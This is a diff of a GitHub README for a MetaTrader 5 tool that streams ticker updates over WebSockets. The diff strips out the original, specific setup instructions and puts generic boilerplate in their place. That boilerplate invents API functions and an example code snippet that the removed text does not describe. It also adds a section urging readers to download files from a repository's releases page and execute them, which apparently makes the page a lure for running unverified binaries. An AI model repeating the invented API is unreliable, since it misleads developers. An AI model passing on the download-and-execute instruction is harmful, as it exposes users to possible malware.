+Welcome to the **MetaTrader 5 WebSocket Tickers** repository! This project offers a robust solution for streaming real-time ticker updates from MetaTrader 5 over WebSockets to any server. With this tool, you can enhance your trading applications and keep your data updated seamlessly.
 
-- 📘 Leverages the robust WebSocket library implementation from the MQL5 Book
-- ⚡️ Implements tight update intervals for near-zero latency ticker updates
-- 🚚 Batches ticker updates for symbols that changed within the same interval
-- 📚 Utilizes JAson library for JSON serialization/deserialization

-## Important Note
+## Features
 
-MetaTrader 5 restricts symbol tracking to those listed in the Market Watch window. When configuring the Expert Advisor, ensure that:
-1. All symbols you want to track are added to the Market Watch
-2. Symbol names in your configuration array match exactly with those in Market Watch
-3. Spelling is correct for all symbol names
+- **Real-Time Data**: Stream live ticker updates directly from MetaTrader 5.
+- **WebSocket Support**: Use WebSockets for efficient data transfer.
+- **Multi-Platform Compatibility**: Works with various server setups.
+- **Easy Integration**: Simple API for quick integration into your existing projects.
+- **Lightweight**: Minimal resource usage for optimal performance.
 
-## Setup Instructions
+## Getting Started
 
-### 1. Download this GitHub project
+To get started with the **MetaTrader 5 WebSocket Tickers**, you will need to set up your MetaTrader 5 environment and ensure that you have the necessary permissions to access the data.
 
-Shouldn't be too hard :)
+### Prerequisites
 
-### 2. Install the MQL5Book library
+- MetaTrader 5 installed on your machine.
+- Basic knowledge of MQL5 and WebSockets.
+- A server that can handle WebSocket connections.
 
-Place the `MQL5Book` directory in your MetaTrader 5 include directory:
+## Installation
+
+1. Clone the repository to your local machine:
+
+   ```bash
+   git clone https://github.com/mainpclab/metatrader5-websocket-tickers.git
+   ```
+
+2. Navigate to the project directory:
+
+   ```bash
+   cd metatrader5-websocket-tickers
+   ```
+
+3. Install any dependencies if required. Refer to the documentation of the libraries used in the project.
+
+## Usage
+
+To start streaming ticker updates, follow these steps:
+
+1. Open MetaEditor in MetaTrader 5.
+2. Create a new Expert Advisor (EA) and copy the provided MQL5 code into it.
+3. Compile the EA.
+4. Attach the EA to a chart in MetaTrader 5.
+5. Connect your WebSocket server to receive updates.
+
+### Example Code Snippet
+
+Here’s a simple example of how to set up the WebSocket connection in your EA:
+
+```mql5
+// Example MQL5 code
+void OnTick()
+{
+    // Your code to handle ticks
+    WebSocketSend("ticker_update", GetTickerData());
+}
 ```
-/MQL5/Include/MQL5Book
+
+### Connecting to Your Server
+
+Make sure your WebSocket server is running and listening for connections. You can use tools like `wscat` to test the connection:
+
+```bash
+wscat -c ws://yourserver.com:port
 ```
 
-When installed correctly, your directory structure should look like this:
+## API Reference
 
-![Include Directory Structure](/Readme-assets/Include.png)
+The API is designed to be straightforward. Here are the key functions you will use:
 
-### 3. Set up your Expert Advisor folder
+- `WebSocketSend(string event, string data)`: Sends data to the WebSocket server.
+- `GetTickerData()`: Retrieves the latest ticker data from MetaTrader 5.
 
-1. Create a custom Expert Advisor folder at `/MQL5/Experts/{YOUR_FOLDER_NAME}`
-2. Copy all files from the `Expert/` directory in this repo to your custom folder
+For more detailed documentation, please refer to the code comments and the Wiki section.

-### 4. Compile the Expert Advisor
+We welcome contributions! If you would like to help improve the project, please follow these steps:
 
-1. Open MetaEditor
-2. Compile the Expert Advisor
-3. Resolve any include path issues that may arise
+1. Fork the repository.
+2. Create a new branch for your feature or bug fix.
+3. Make your changes and commit them.
+4. Push your branch to your fork.
+5. Create a pull request.
 
-### 5. Whitelist WebSocket URL
+Please ensure that your code adheres to the coding standards used in the project.
 
-In MetaTrader 5:
-1. Navigate to Tools > Options
-2. Add your WebSocket server URL to the allowed URLs list
+## License
 
-![Whitelist Configuration](/Readme-assets/Whitelist.png)
+This project is licensed under the MIT License. See the [LICENSE](LICENSE) file for details.
 
-### 6. Attach the Expert Advisor to a chart
+## Contact
 
-Even though the Expert Advisor doesn't primarily use the `onTick()` event, it needs to be attached to a chart to initialize and run.
+For questions or suggestions, feel free to reach out:
 
-Debug messages are included in the code to assist with troubleshooting.

-## Development Tools
+## Releases
 
-### Local WebSocket Server Setup
+To download the latest version, visit the [Releases](https://github.com/mainpclab/metatrader5-websocket-tickers/releases) section. You can download the necessary files and execute them to get started.
 
-For development and testing, you can create a temporary WebSocket server:
+For detailed release notes and updates, check the releases regularly.
 
-1. Start a local WebSocket server using `wscat`:
-```bash
-npx wscat -l 8080
-```
+---
 
-2. Expose your local server to the internet using `untun` (CloudFlare-based tunneling):
-```bash
-npx untun@latest tunnel http://localhost:8080
-```
+This project is designed to make your trading experience smoother and more efficient. By using WebSockets, you can ensure that your applications receive data in real-time, allowing for better decision-making and improved performance.
